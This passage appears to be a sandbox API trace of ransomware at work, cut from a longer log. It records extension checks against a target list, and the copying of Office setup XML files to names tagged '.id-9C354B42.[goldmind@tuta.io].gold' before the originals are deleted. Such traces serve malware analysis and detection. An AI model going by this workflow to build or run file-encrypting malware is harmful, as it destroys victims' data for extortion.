Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.667] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0037.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.667] lstrlenW (lpString=".doc") returned 4 [0037.667] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.667] lstrlenW (lpString=".docx") returned 5 [0037.667] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.667] lstrlenW (lpString=".pdf") returned 4 [0037.667] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.667] lstrlenW (lpString=".xls") returned 4 [0037.667] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.667] lstrlenW (lpString=".xlsx") returned 5 [0037.667] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.667] lstrlenW (lpString=".ppt") returned 4 [0037.667] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.667] lstrlenW (lpString=".zip") returned 4 [0037.667] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.667] lstrlenW (lpString=".rar") returned 4 [0037.667] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.667] lstrlenW (lpString=".bz2") returned 4 [0037.667] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.667] lstrlenW (lpString=".7z") returned 3 [0037.668] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.668] lstrlenW (lpString=".dbf") returned 4 [0037.668] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.668] lstrlenW (lpString=".1cd") returned 4 [0037.668] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.668] lstrlenW (lpString=".jpg") returned 4 [0037.668] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.668] lstrlenW (lpString=".doc") returned 4 [0037.668] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString=".docx") returned 5 [0037.668] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.668] lstrlenW (lpString=".pdf") returned 4 [0037.668] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString=".xls") returned 4 [0037.668] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString=".xlsx") returned 5 [0037.668] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.668] lstrlenW (lpString=".ppt") returned 4 [0037.668] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.668] lstrlenW (lpString=".zip") returned 4 [0037.668] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.668] lstrlenW (lpString=".rar") returned 4 [0037.668] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString=".bz2") returned 4 [0037.668] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString=".7z") returned 3 [0037.668] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.668] lstrlenW (lpString=".dbf") returned 4 [0037.668] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.669] lstrlenW (lpString=".1cd") returned 4 [0037.669] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0037.669] lstrlenW (lpString=".jpg") returned 4 [0037.669] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.669] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.669] lstrlenW (lpString="Office32WW.XML") returned 14 [0037.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.669] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=4274) returned 1 [0037.669] CloseHandle (hObject=0x1e4) returned 1 [0037.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0037.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.670] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.670] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.670] GetLastError () returned 0x0 [0037.670] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0037.672] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0037.673] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.673] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0037.673] SetEndOfFile (hFile=0x1e8) returned 1 [0037.673] CloseHandle (hObject=0x1e8) returned 1 [0037.674] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.674] SetEndOfFile (hFile=0x1e4) returned 1 [0037.675] CloseHandle (hObject=0x1e4) returned 1 [0037.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.675] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString=".doc") returned 4 [0037.676] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".docx") returned 5 [0037.676] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0037.676] lstrlenW (lpString=".pdf") returned 4 [0037.676] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".xls") returned 4 [0037.676] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".xlsx") returned 5 [0037.676] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0037.676] lstrlenW (lpString=".ppt") returned 4 [0037.676] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString=".zip") returned 4 [0037.676] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.676] lstrlenW (lpString=".rar") returned 4 [0037.676] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".bz2") returned 4 [0037.676] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".7z") returned 3 [0037.676] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString=".dbf") returned 4 [0037.676] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString=".1cd") returned 4 [0037.676] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString=".jpg") returned 4 [0037.676] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.676] lstrlenW (lpString=".doc") returned 4 [0037.676] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".docx") returned 5 [0037.676] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0037.676] lstrlenW (lpString=".pdf") returned 4 [0037.676] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".xls") returned 4 [0037.676] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.676] lstrlenW (lpString=".xlsx") returned 5 [0037.676] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0037.676] lstrlenW (lpString=".ppt") returned 4 [0037.676] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.677] lstrlenW (lpString=".zip") returned 4 [0037.677] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.677] lstrlenW (lpString=".rar") returned 4 [0037.677] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.677] lstrlenW (lpString=".bz2") returned 4 [0037.677] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.677] lstrlenW (lpString=".7z") returned 3 [0037.677] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.677] lstrlenW (lpString=".dbf") returned 4 [0037.677] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.677] lstrlenW (lpString=".1cd") returned 4 [0037.677] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0037.677] lstrlenW (lpString=".jpg") returned 4 [0037.677] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.677] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.677] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0037.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.677] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1606) returned 1 [0037.677] CloseHandle (hObject=0x1e4) returned 1 [0037.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0037.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.678] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.678] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.679] GetLastError () returned 0x0 [0037.679] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x646, lpOverlapped=0x0) returned 1 [0037.681] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x650, lpOverlapped=0x0) returned 1 [0037.682] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.682] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0037.682] SetEndOfFile (hFile=0x1e8) returned 1 [0037.682] CloseHandle (hObject=0x1e8) returned 1 [0037.683] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.683] SetEndOfFile (hFile=0x1e4) returned 1 [0037.683] CloseHandle (hObject=0x1e4) returned 1 [0037.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.684] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0037.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.684] lstrlenW (lpString=".doc") returned 4 [0037.684] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.684] lstrlenW (lpString=".docx") returned 5 [0037.684] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.684] lstrlenW (lpString=".pdf") returned 4 [0037.684] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.684] lstrlenW (lpString=".xls") returned 4 [0037.684] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.684] lstrlenW (lpString=".xlsx") returned 5 [0037.684] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.684] lstrlenW (lpString=".ppt") returned 4 [0037.684] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.684] lstrlenW (lpString=".zip") returned 4 [0037.684] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.684] lstrlenW (lpString=".rar") returned 4 [0037.684] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.684] lstrlenW (lpString=".bz2") returned 4 [0037.684] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString=".7z") returned 3 [0037.685] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".dbf") returned 4 [0037.685] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".1cd") returned 4 [0037.685] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".jpg") returned 4 [0037.685] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".doc") returned 4 [0037.685] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString=".docx") returned 5 [0037.685] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.685] lstrlenW (lpString=".pdf") returned 4 [0037.685] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString=".xls") returned 4 [0037.685] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString=".xlsx") returned 5 [0037.685] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.685] lstrlenW (lpString=".ppt") returned 4 [0037.685] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".zip") returned 4 [0037.685] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.685] lstrlenW (lpString=".rar") returned 4 [0037.685] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString=".bz2") returned 4 [0037.685] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString=".7z") returned 3 [0037.685] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".dbf") returned 4 [0037.685] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".1cd") returned 4 [0037.685] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0037.685] lstrlenW (lpString=".jpg") returned 4 [0037.685] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.685] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.685] lstrlenW (lpString="SETUP.XML") returned 9 [0037.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0038.038] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1988) returned 1 [0038.038] CloseHandle (hObject=0x1e8) returned 1 [0038.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0038.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0038.038] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.038] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0038.038] GetLastError () returned 0x0 [0038.038] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x7c4, lpOverlapped=0x0) returned 1 